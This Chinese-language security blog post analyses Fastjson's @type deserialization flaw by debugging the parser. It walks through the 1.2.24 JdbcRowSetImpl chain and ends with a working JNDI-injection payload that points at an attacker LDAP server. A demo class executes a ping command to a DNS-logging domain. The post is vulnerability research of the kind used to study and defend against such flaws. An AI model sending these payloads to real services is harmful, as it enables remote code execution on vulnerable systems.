前言
Fastjson 自从 17 年被爆出来 RCE 的漏洞,开发人员是不断的打补丁修复,但也是不断被绕过,挺有趣的,这篇文章就去记录一下其中的那些攻与防……
漏洞精髓
整体看下来,精髓之处共有两点:
- 支持用户在 JSON 中通过 @type 字段指定反序列化的 Java 类。
- 反序列化自动调用 Setter、Getter 等方法。(这点和传统意义 Java 原生的反序列化时自动调用 readObject 方法是异曲同工的)
针对这俩精髓点,去写个 demo 去做个演示:
新建一个 fastjson 软件包,在其中新建 Exploit 类如下–>
package fastjson;
public class Exploit {
public void setPayload(String cmd) throws Exception {
Runtime.getRuntime().exec(cmd);
}
}
新建 FastjsonDemo 类如下–>
package fastjson;
import com.alibaba.fastjson.JSON;
public class FastjsonDemo {
public static void main(String[] args) {
String payload = "{\"@type\":\"fastjson.Exploit\",\"Payload\":\"ping 6y7d5.cxsys.spacetab.top\"}";
JSON.parseObject(payload);
}
}
在 Exploit 类的 setPayload 方法下断点,调试运行 FastjsonDemo 类,会发现代码成功的走到断点处–>
此时也成功触发 DNS 请求,如下–>
调试代码
由于 Fastjson 库里面代码写的很乱很复杂,各种各样的 for 循环、没有 else 的 if 语句、没有任何注释的方法等等等,仿佛是自带代码混淆一样,看起来十分费劲,本文不会去和之前 Shiro、RMI、JNDI 等那样去详细记录每一步,只在关键部分下断!调试部分的话,换一套代码,不在用上文那个了,新建 Person 类如下–>
package fastjson;
import java.util.Map;
public class Person {
private String name;
private int age;
private Map map;
public Person() {
System.out.println("Call Person");
}
public int getAge() {
System.out.println("Call getAge");
return age;
}
public void setAge(int age) {
System.out.println("Call setAge");
this.age = age;
}
public String getName() {
System.out.println("Call getName");
return name;
}
public void setName(String name) {
System.out.println("Call setName");
this.name = name;
}
public Map getMap() {
System.out.println("Call getMap");
return map;
}
}
相应的改一下 FastjsonDemo 类的代码–>
package fastjson;
import com.alibaba.fastjson.JSON;
public class FastjsonDemo {
public static void main(String[] args) {
String payload = "{\"@type\":\"fastjson.Person\",\"Name\":\"xxx\",\"Age\":18,\"Map\":null}";
JSON.parseObject(payload);
}
}
在JSON.parseObject(payload);
一行下断点开始调试,跟进入 parseObject 方法,如下–>
接着跟进去 parse 方法,如下–>
其中 DefaultJSONParser 这行代码创建一个 JSON 解析器 DefaultJSONParser 实例,用于将 JSON 字符串反序列化为 Java 对象,里面会准备好上下文配置环境(包括 AutoType 的启用状态、类加载器、字段策略等),这里就不跟进去了,里面代码确实是挺啰嗦,直接跟进去Object value = parser.parse();
这行代码中,如下–>
在 parse 方法中接着跟进去 parseObject 方法,如下–>
其中第一个关键的点是,当代码发现 json 中的 key 为 @type 的时候,就会去加载这个 @type 的 value 中指定的 Class 类,如下–>
这也就是上文中提到的漏洞精髓点中的第一点!它在代码层的表现形式就是如此,可能在后面高版本的绕过中会再见到它(和缓存相关),这里先不跟进去了。
接着再向下跟到ObjectDeserializer deserializer = config.getDeserializer(clazz);
这一行代码–>
这行代码的作用就是去拿到一个反序列化器,里面代码逻辑很啰嗦,但有个关键的点还不能跳过去,跟一下,首先进入第一行代码,实际上是一个缓存表,如下–>
这个也是在后面高版本的绕过中会再见到它,这里先不跟进去了,一直跟到下图位置–>
跟进去,一直跟到下图位置–>
跟进去,一直跟到下图位置–>
再跟进去,里面有三个关键的 for 循环–>
分别对应着识别所有 setter 方法、识别 public 非 static/final 变量、最后识别 getter 方法。(限制:没有被前两个循环识别过,且限定返回类型为集合、Map 或 Atomic 类,所以一开始就在 Person 类中去刻意写了一个 getMap 方法)这点很重要,接着没啥要看的了,直接 return 了,最后是拿到一个叫做 JavaBeanDeserializer 的反序列化器。
接着跟进去return deserializer.deserialze(this, clazz, fieldName);
这一行代码,如下–>
跟进去–>
顾名思义,这里开始就要进入真正的反序列化流程了,其中代码很乱,遂只记录其中关键点,首先是创建 Person 实例,如下–>
然后是反射调用上文中提到的识别到的方法–>
这也就是上文中提到的漏洞精髓点中的第二点,它在代码层的表现形式就是如此!之后就没什么值得跟的了,一路回到开始的地方,调用JSON.toJSON(obj);
这一行代码,相当于把对象又转换成了 json 字符串,自然会调用所有的 Getter–>
Tips:payload 中 {"@type":"fastjson.Person","Name":"xxx","Age":18,"Map":null}
,Name、Age 这些 key 的值与属性名无关,而是与 setName、setAge、getName 等中 set、get 后跟的名词有关
其实在调试代码这一小节,通过观察代码的运行逻辑只想说清楚三个点,总结一下:
- @type 的 value 可以控制任意类的加载。
- 高版本的绕过要用到 loadClass 处的缓存以及 getDeserializer 处的缓存表。
- parseObject(String text) 方法会自动调用 @type 类的构造⽅法 + Setter + Getter + 满⾜条件额外的 Getter。parse(String text) 方法会自动调用 @type 类的构造⽅法 + Setter + 满⾜条件额外的 Getter。
Fastjson 1.2.24 利用链
1.2.24 是最早爆出 RCE 漏洞的版本,广为人知的利用链的话有如下的三条:
- JdbcRowSetImpl 链
- BCEL 链
- TemplatesImpl 链
在这一小节一条一条的去分析一下!
JdbcRowSetImpl 链
先来看一下这条链的 Sink,如下–>
嗯嗯没错,显然可以打一个 JNDI 注入,那么先看一下它的参数是否可控,肯定是要去看 getDataSourceName 的实现逻辑–>
接着要去跟 dataSource 的写入值–>
可以看到是在 BaseRowSet 类的 setDataSourceName 方法中,而这个 setDataSourceName 其实在 BaseRowSet 类的子类 JdbcRowSetImpl 中就已经被调用到–>
而 JdbcRowSetImpl 类的 setDataSourceName 方法应该如何进一步向上跟,上文也已经给出了答案,写成{"@type":"com.sun.rowset.JdbcRowSetImpl","DataSourceName":null}
然后调用 parseObject 即可,演示如下–>
package fastjson;
import com.alibaba.fastjson.JSON;
public class FastjsonDemo {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"xxx\"}";
JSON.parseObject(payload);
}
}
接着在 JdbcRowSetImpl 类的 setDataSourceName 方法处下断点,调试运行 FastjsonDemo 即可,演示如下–>
OK,那现在参数的问题解决了,是完全可控的,再去分析如何才能让代码成功的走到 Sink 处呢?去看 connect 方法的调用情况如下–>
有三处调用,其实现在已经掌握技巧了,直接去看 setAutoCommit 方法即可–>
同样是一个 Setter,不啰嗦了,改一下代码即可得到最终的 Payload–>
package fastjson;
import com.alibaba.fastjson.JSON;
public class FastjsonDemo {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://xxx.xxx.xxx.xxx:1389/szbfrf\",\"AutoCommit\":\"true\"}";
JSON.parseObject(payload);
}
}
起一个 JNDI-Injection 的恶意服务–>
这里 JDK 版本选择 JDK 8u121 运行 FastjsonDemo,此时成功触发 DNS 请求,如下–>
再调试运行,截一张 Sink 的图,如下–>